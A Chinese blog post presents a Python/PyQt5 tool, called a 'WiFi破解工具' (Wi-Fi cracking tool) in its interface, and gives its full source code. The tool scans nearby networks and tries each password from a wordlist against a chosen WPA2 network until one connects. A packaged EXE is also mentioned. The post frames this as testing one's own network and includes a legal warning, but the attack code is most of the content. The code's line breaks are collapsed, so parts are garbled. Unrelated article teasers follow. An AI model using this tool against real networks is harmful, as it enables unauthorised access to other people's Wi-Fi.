Python Wi-Fi密码测试工具
Python Wi-Fi测试工具
相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点个关注不迷路!!!
1. 简介:
这款工具的目的是通过字典攻击方式帮助用户测试 Wi-Fi 网络的安全性。通过选择合适的无线网卡接口、目标 Wi-Fi 网络和密码字典文件,用户可以在界面上实时看到测试进度、日志和最终结果。
以下是详细的功能介绍:
1. Wi-Fi 接口选择
功能:允许用户选择无线网卡接口。
实现:通过 pywifi.PyWiFi() 获取所有可用的无线网卡接口,并在界面中显示供用户选择。
2. Wi-Fi 网络扫描
功能:扫描可用的 Wi-Fi 网络并显示在下拉列表中。
实现:选择无线网卡接口后,点击“刷新列表”按钮,程序将扫描并列出所有可用的 Wi-Fi 网络(SSID)。
3. 字典文件选择
功能:用户选择一个密码字典文件,工具将用字典中的密码尝试连接到目标 Wi-Fi 网络。
实现:用户可以通过拖放或点击“选择字典文件”按钮,选择一个 .txt 格式的密码字典文件。每个字典文件中的密码将逐一尝试。
4. Wi-Fi 测试过程
功能:使用字典文件中的密码尝试连接到目标 Wi-Fi 网络,直到找到正确的密码或遍历完所有密码。
实现:
使用 pywifi 库来创建 Wi-Fi 配置文件并尝试连接。
每个密码尝试后,更新日志并显示尝试的密码。
如果连接成功,显示成功密码;如果失败,则继续尝试下一个密码。
支持设置最大等待时间(例如 5 秒)来检查连接是否成功。
5. 进度条
功能:实时显示破解进度。
实现:在破解过程中,每次尝试密码后更新进度条,显示当前已尝试密码的百分比。
6. 日志显示
功能:记录并实时显示破解过程中的日志信息。
实现:所有的日志信息(如密码尝试、连接成功、失败等)会在界面上以文本形式实时更新,供用户查看。
7. 开始/停止测试
功能:用户可以开始或停止测试过程。
实现:点击“开始测试”按钮时,程序会启动一个后台线程,执行 Wi-Fi 测试操作。点击“停止测试”按钮时,用户可以中止破解操作。
8. 合法性警告
功能:在应用启动时,给出使用工具的合法性警告,提醒用户本工具仅供测试自己的网络安全性,禁止用于非法用途。
实现:弹出一个消息框,显示合法性警告。如果用户选择取消,则关闭程序。
9. 密码破解成功提示
功能:在成功测试出 Wi-Fi 密码时,弹出提示框告知用户破解结果。
实现:当测试成功后,弹出一个信息框,显示测试的密码。
*10. 停止测试
功能:用户可以随时停止正在进行的破解过程。
实现:通过 CrackThread 中的 stop() 方法,停止当前的测试线程。
2. 运行效果:
3. 相关源码:
import sys
import os
import time
from PyQt5.QtWidgets import (QApplication, QMainWindow, QPushButton, QVBoxLayout, QWidget,QLabel, QTextBrowser, QFileDialog, QProgressBar,QComboBox, QMessageBox, QLineEdit, QHBoxLayout
)
from PyQt5.QtCore import QThread, pyqtSignal, QTimer
from datetime import datetime
import pywifi
from pywifi import constclass DragDropLineEdit(QLineEdit):def __init__(self, parent=None):super().__init__(parent)self.setAcceptDrops(True)def dragEnterEvent(self, event):if event.mimeData().hasUrls():event.accept()else:event.ignore()def dropEvent(self, event):if event.mimeData().hasUrls():file_path = event.mimeData().urls()[0].toLocalFile()if os.path.isfile(file_path):self.setText(file_path)else:event.ignore()else:event.ignore()class CrackThread(QThread):update_progress = pyqtSignal(int)update_log = pyqtSignal(str)success_signal = pyqtSignal(str)def __init__(self, wifi_name, dictionary_path, iface):super(CrackThread, self).__init__()self.wifi_name = wifi_nameself.dictionary_path = dictionary_pathself.iface = ifaceself.running = Truedef emit_log_with_time(self, message):timestamp = datetime.now().strftime("[%Y-%m-%d %H:%M:%S]")self.update_log.emit(f"{timestamp} {message}")def run(self):if not os.path.exists(self.dictionary_path):self.emit_log_with_time("[!] 密码字典文件不存在!")returnself.emit_log_with_time("开始破解...")with open(self.dictionary_path, "r", encoding="utf-8") as file:passwords = file.readlines(1000) # 每次读取1000行total_passwords = len(passwords)for idx, password in enumerate(passwords):if not self.running:self.emit_log_with_time("[!] 破解已停止。")breakpassword = password.strip() # 去除多余空格和换行符self.emit_log_with_time(f"[-] 测试密码: {password}")if self.wifi_connect(password):self.emit_log_with_time(f"[+] 成功连接!密码:{password}")self.success_signal.emit(password)self.update_progress.emit(100)returnself.update_progress.emit(int((idx + 1) / total_passwords * 100))self.emit_log_with_time("[!] 破解失败,尝试其他字典文件。")def wifi_connect(self, pwd):try:# 创建WiFi配置文件profile = pywifi.Profile()profile.ssid = self.wifi_nameprofile.auth = const.AUTH_ALG_OPENprofile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher = const.CIPHER_TYPE_CCMPprofile.key = pwd# 清除所有配置文件self.iface.remove_all_network_profiles()tep_profile = self.iface.add_network_profile(profile)# 连接WiFiself.iface.connect(tep_profile)start_time = time.time()# 等待连接结果while time.time() - start_time < 5: # 延长等待时间到5秒status = self.iface.status()if status == const.IFACE_CONNECTED:self.iface.disconnect() # 连接成功后断开,避免干扰后续操作return Trueelif status == const.IFACE_DISCONNECTED:time.sleep(1) # 给网卡足够时间反应self.iface.disconnect() # 确保清理状态return Falseexcept Exception as e:self.emit_log_with_time(f"[!] 连接时发生错误: {e}")return Falsedef stop(self):self.running = Falseclass WiFiCrackerUI(QMainWindow):def __init__(self):super().__init__()self.initUI()self.thread = Nonedef initUI(self):self.setWindowTitle("WiFi破解工具")self.setGeometry(100, 100, 378, 532)self.set_ui_styles()self.show_legal_warning()layout = QVBoxLayout()self.interface_label = QLabel("选择无线网卡接口:")self.interface_list = QComboBox()self.refresh_interface_list()layout.addWidget(self.interface_label)layout.addWidget(self.interface_list)wifi_layout = QHBoxLayout()self.wifi_label = QLabel("WiFi 名称:")self.wifi_list = QComboBox()self.refresh_wifi_button = QPushButton("刷新列表")self.refresh_wifi_button.clicked.connect(self.refresh_wifi_list)wifi_layout.addWidget(self.wifi_label)wifi_layout.addWidget(self.wifi_list)wifi_layout.addWidget(self.refresh_wifi_button)layout.addLayout(wifi_layout)self.path_label = QLabel("密码字典路径:")self.path_input = DragDropLineEdit()self.browse_button = QPushButton("选择字典文件(.txt)")self.browse_button.clicked.connect(self.browse_file)layout.addWidget(self.path_label)layout.addWidget(self.path_input)layout.addWidget(self.browse_button)self.log_browser = QTextBrowser()layout.addWidget(self.log_browser)self.progress_bar = QProgressBar()layout.addWidget(self.progress_bar)self.start_button = QPushButton("开始破解")self.start_button.clicked.connect(self.start_cracking)self.stop_button = QPushButton("停止破解")self.stop_button.clicked.connect(self.stop_cracking)layout.addWidget(self.start_button)layout.addWidget(self.stop_button)container = QWidget()container.setLayout(layout)self.setCentralWidget(container)self.refresh_wifi_list()def set_ui_styles(self):self.setStyleSheet("""QPushButton {background-color: #4CAF50;color: white;border-radius: 5px;padding: 10px;}QPushButton:hover {background-color: #45a049;}QProgressBar {border: 2px solid #4CAF50;border-radius: 5px;text-align: center;}QTextBrowser {background-color: #f5f5f5;font-family: "Courier New";border-radius: 5px;}""")def show_legal_warning(self):reply = QMessageBox.warning(self,"合法性警告","本工具仅供测试自己网络的安全性,禁止用于非法用途!\n""使用本工具即表示您同意对所有行为自行负责。",QMessageBox.Ok | QMessageBox.Cancel,)if reply == QMessageBox.Cancel:self.close() # 如果用户选择取消,退出程序def load_translations(self, language_code="en"):translator = QTranslator()if language_code == "zh":translator.load(":/translations/zh_CN.qm")else:translator.load(":/translations/en_US.qm")app.installTranslator(translator)def refresh_interface_list(self):wifi = pywifi.PyWiFi()self.interface_list.clear()for iface in wifi.interfaces():self.interface_list.addItem(iface.name())def refresh_wifi_list(self):self.wifi_list.clear()iface_name = self.interface_list.currentText()if not iface_name:self.log_browser.append("[!] 请先选择 Wi-Fi 接口!")returntry:wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)iface.scan()self.log_browser.append("[+] 网络扫描开始...")QTimer.singleShot(2000, self.on_scan_complete) # 2秒后回调扫描结果except Exception as e:self.log_browser.append(f"[!] 刷新 Wi-Fi 列表时出错: {e}")def on_scan_complete(self):iface_name = self.interface_list.currentText()wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == iface_name)results = iface.scan_results()seen_ssids = set()for network in results:ssid = network.ssid.encode('raw_unicode_escape').decode('utf-8', 'ignore')if ssid and ssid not in seen_ssids:self.wifi_list.addItem(ssid)seen_ssids.add(ssid)self.log_browser.append("[+] Wi-Fi 列表刷新完成。")def browse_file(self):file_path, _ = QFileDialog.getOpenFileName(self, "选择密码字典文件", "", "文本文件 (*.txt)")if file_path:if not file_path.endswith('.txt'):self.log_browser.append("[!] 请选择一个有效的文本文件!")returnself.path_input.setText(file_path)def start_cracking(self):if self.thread and self.thread.isRunning():self.log_browser.append("[!] 破解已经在运行中,请等待完成。")returnwifi_name = self.wifi_list.currentText().strip()dictionary_path = self.path_input.text().strip()if not wifi_name or not dictionary_path:self.log_browser.append("[!] 请填写完整信息!")returntry:wifi = pywifi.PyWiFi()iface = next(iface for iface in wifi.interfaces() if iface.name() == self.interface_list.currentText())iface.disconnect()time.sleep(1)if iface.status() != const.IFACE_DISCONNECTED:self.log_browser.append("[!] 无法断开当前连接。")returnexcept Exception as e:self.log_browser.append(f"[!] 无法初始化无线网卡: {e}")returnself.thread = CrackThread(wifi_name, dictionary_path, iface)self.thread.update_log.connect(self.log_browser.append)self.thread.update_progress.connect(self.progress_bar.setValue)self.thread.success_signal.connect(self.show_success_message)self.thread.start()def stop_cracking(self):if self.thread and self.thread.isRunning():self.thread.stop()def show_success_message(self, password):QMessageBox.information(self, "破解成功", f"Wi-Fi 密码是: {password}")if __name__ == "__main__":app = QApplication(sys.argv)window = WiFiCrackerUI()window.show()sys.exit(app.exec_())
相关文章:

Python Wi-Fi密码测试工具
Python Wi-Fi测试工具 相关资源文件已经打包成EXE文件,可双击直接运行程序,且文章末尾已附上相关源码,以供大家学习交流,博主主页还有更多Python相关程序案例,秉着开源精神的想法,望大家喜欢,点…...
Linux 创建用户
Linux 创建用户 创建用户 sudo useradd -m -s /bin/bash test - -m:自动创建家目录 /home/test - -s /bin/bash:指定默认的 shell 为 bash修改密码 # 修改密码 sudo passwd test删除用户 userdel -r zengshun - -r:把用户的主目录一起删…...

自建RustDesk服务器
RustDesk服务端 下面的截图是我本地的一个服务器做为演示用,你自行的搭建服务需要该服务器有固定的ip地址 1、通过宝塔面板快速安装 2、点击【安装】后会有一个配置信息,默认即可 3、点击【确认】后会自动安装等待安装完成 4、安装完成后点击【打开…...
Spring Boot Web技术栈(官网文档解读)
摘要 Spring Boot框架既支持传统的Servlet技术栈,也支持新兴的响应式(Reactive)技术栈。本篇文章将详细讲述Spring Boot 对两种技术栈的详细支持和使用。 Servlet 概述 基于Java Servlet API构建,它依赖于传统的阻塞I/O模型&…...
【llama_factory】qwen2_vl训练与批量推理
训练llama factory配置文件 文件:examples/train_lora/qwen2vl_lora_sft.yaml ### model model_name_or_path: qwen2_vl/model_72b trust_remote_code: true### method stage: sft do_train: true finetuning_type: lora lora_target: all### dataset dataset: ca…...
wpa_cli命令使用记录
wpa_cli可以用于查询当前状态、更改配置、触发事件和请求交互式用户输入。具体来说,它可以显示当前的认证状态、选择的安全模式、dot11和dot1x MIB等,并可以配置一些变量,如EAPOL状态机参数。此外,wpa_cli还可以触发重新关联和IEE…...

【Uniapp-Vue3】页面生命周期onLoad和onReady
一、onLoad函数 onLoad在页面载入时触发,多用于页面跳转时进行参数传递。 我们在跳转的时候传递参数name和age: 接受参数: import {onLoad} from "dcloudio/uni-app"; onLoad((e)>{...}) 二、onReady函数 页面生命周期函数中的onReady其…...

《C++11》并发库:简介与应用
在C11之前,C并没有提供原生的并发支持。开发者通常需要依赖于操作系统的API(如Windows的CreateThread或POSIX的pthread_create)或者第三方库(如Boost.Thread)来创建和管理线程。这些方式存在以下几个问题: …...

LeetCode - #183 Swift 实现查询未下订单的客户
网罗开发 (小红书、快手、视频号同名) 大家好,我是 展菲,目前在上市企业从事人工智能项目研发管理工作,平时热衷于分享各种编程领域的软硬技能知识以及前沿技术,包括iOS、前端、Harmony OS、Java、Python等…...

HTML拖拽功能(纯html5+JS实现)
1、HTML拖拽--单元行拖动 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title><…...

mysql 等保处理,设置wait_timeout引发的问题
👨⚕ 主页: gis分享者 👨⚕ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨⚕ 收录于专栏:运维工程师 文章目录 前言问题处理 前言 系统部署完成后,客户需要做二级等保&…...

7.STM32F407ZGT6-RTC
参考: 1.正点原子 前言: RTC实时时钟是很基本的外设,用来记录绝对时间。做个总结,达到: 1.学习RTC的原理和概念。 2.通过STM32CubeMX快速配置RTC。 27.1 RTC 时钟简介 STM32F407 的实时时钟(RTC…...

重写(补充)
大家好,今天我们把剩下一点重写内容说完,来看。 [重写的设计规则] 对于已经投入使用的类,尽量不要进行修政 ,最好的方式是:重新定义一个新的类,来重复利用其中共性的内容 我们不该在原来的类上进行修改,因为原来的类,可能还有用…...

30分钟内搭建一个全能轻量级springboot 3.4 + 脚手架 <3>5分钟集成好druid并使用druid自带监控工具监控sql请求
快速导航 快速导航 <1> 5分钟快速创建一个springboot web项目 <2> 5分钟集成好最新版本的开源swagger ui,并使用ui操作调用接口 <3> 5分钟集成好druid并使用druid自带监控工具监控sql请求 <4> 5分钟集成好mybatisplus并使用mybatisplus g…...

【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理
【C#深度学习之路】如何使用C#实现Yolo8/11 Segment 全尺寸模型的训练和推理 项目背景项目实现推理过程训练过程 项目展望写在最后项目下载链接 本文为原创文章,若需要转载,请注明出处。 原文地址:https://blog.csdn.net/qq_30270773/article…...

Oracle 分区索引简介
目录 一. 什么是分区索引二. 分区索引的种类2.1 局部分区索引(Local Partitioned Index)2.2 全局分区索引(Global Partitioned Index) 三. 分区索引的创建四. 分区索引查看4.1 USER_IND_COLUMNS 表4.2 USER_INDEXES 表 五. 分区索…...

【科技赋能未来】NDT2025第三届新能源数字科技大会全面启动!
随着我国碳达峰目标、碳中和目标的提出,以及经济社会的发展进步,以风电、光伏发电为代表的新能源行业迎来巨大发展机遇,成为未来绿色经济发展的主要趋势和方向。 此外,数字化技术的不断发展和创新,其在新能源领域的应…...

Broker收到消息之后如何存储
1.前言 此文章是在儒猿课程中的学习笔记,感兴趣的想看原来的课程可以去咨询儒猿课堂《从0开始带你成为RocketMQ高手》,我本人觉得这个作者还是不错,都是从场景来进行分析,感觉还是挺适合我这种小白的。这块主要都是我自己的学习笔…...

Mysql--实战篇--SQL优化(查询优化器,常用的SQL优化方法,执行计划EXPLAIN,Mysql性能调优,慢日志开启和分析等)
一、查询优化 1、查询优化器 (Query Optimizer) MySQL查询优化器(Query Optimizer)是MySQL数据库管理系统中的一个关键组件,负责分析和选择最有效的执行计划来执行SQL查询。查询优化器的目标是尽可能减少查询的执行时间和资源消耗ÿ…...

BERT与CNN结合实现糖尿病相关医学问题多分类模型
完整源码项目包获取→点击文章末尾名片! 使用HuggingFace开发的Transformers库,使用BERT模型实现中文文本分类(二分类或多分类) 首先直接利用transformer.models.bert.BertForSequenceClassification()实现文本分类 然后手动实现B…...

rabbitmqp安装延迟队列
在RabbitMQ中,延迟队列是一种特殊的队列类型。当消息被发送到此类队列后,不会立即投递给消费者,而是会等待预设的一段时间,待延迟期满后才进行投递。这种队列在多种场景下都极具价值,比如可用于处理需要在特定时间触发…...

深入探讨DICOM医学影像中的MPPS服务及其具体实现
深入探讨DICOM医学影像中的MPPS服务及其具体实现 1. 引言 在医疗影像的管理和传输过程中,DICOM(数字影像和通信医学)标准发挥着至关重要的作用。除了DICOM影像的存储和传输(如影像存储SCP和影像传输SCP),…...
集合帖:区间问题
一、AcWing 803:区间合并 (1)题目来源:https://www.acwing.com/problem/content/805/ (2)算法代码:https://blog.csdn.net/hnjzsyjyj/article/details/145067059 #include <bits/stdc.h>…...

C#,入门教程(27)——应用程序(Application)的基础知识
上一篇: C#,入门教程(26)——数据的基本概念与使用方法https://blog.csdn.net/beijinghorn/article/details/124952589 一、什么是应用程序 Application? 应用程序是编程的结果。一般把代码经过编译(等)过程&#…...

迅翼SwiftWing | ROS 固定翼开源仿真平台正式发布!
经过前期内测调试,ROS固定翼开源仿真平台今日正式上线!现平台除适配PX4ROS环境外,也已实现APROS环境下的单机飞行控制仿真适配。欢迎大家通过文末链接查看项目地址以及具体使用手册。 1 平台简介 ROS固定翼仿真平台旨在实现固定翼无人机决策…...
CSS 样式 box-sizing: border-box; 详细解读
box-sizing是 CSS 中的一个属性,用于控制元素的盒模型计算方式。border-box值表示元素的宽度和高度将包括内边距(padding)和边框(border),而不仅仅是内容的宽度和高度。这意味着当你为元素设置宽度和高度时…...
FLASK创建下载
html用a标签 <!-- Button to download the image --> <a href"{{ url_for(download_file, filenameimage.png) }}"><button>Download Image</button> </a> 后端:url_for双大括号即是用来插入变量到模板中的语法。也就是绑…...

漫话架构师|什么是系统架构设计师(开篇)
~犬📰余~ “我欲贱而贵,愚而智,贫而富,可乎? 曰:其唯学乎” 关注犬余,共同进步 技术从此不孤单...

Web Socket
Web Socket WebSocket是一种基于TCP的网络通信协议,允许客户端和服务器之间建立全双工(双向)通信通道。WebSocket通过HTTP协议进行握手,建立连接后,客户端和服务器可以在同一个连接上同时发送和接收数据࿰…...

JavaSE学习心得(反射篇)
反射 前言 获取class对象的三种方式 利用反射获取构造方法 利用反射获取成员变量 利用反射获取成员方法 练习 保存信息 跟配置文件结合动态创建 前言 接上期文章:JavaSE学习心得(多线程与网络编程篇) 教程链接:黑马…...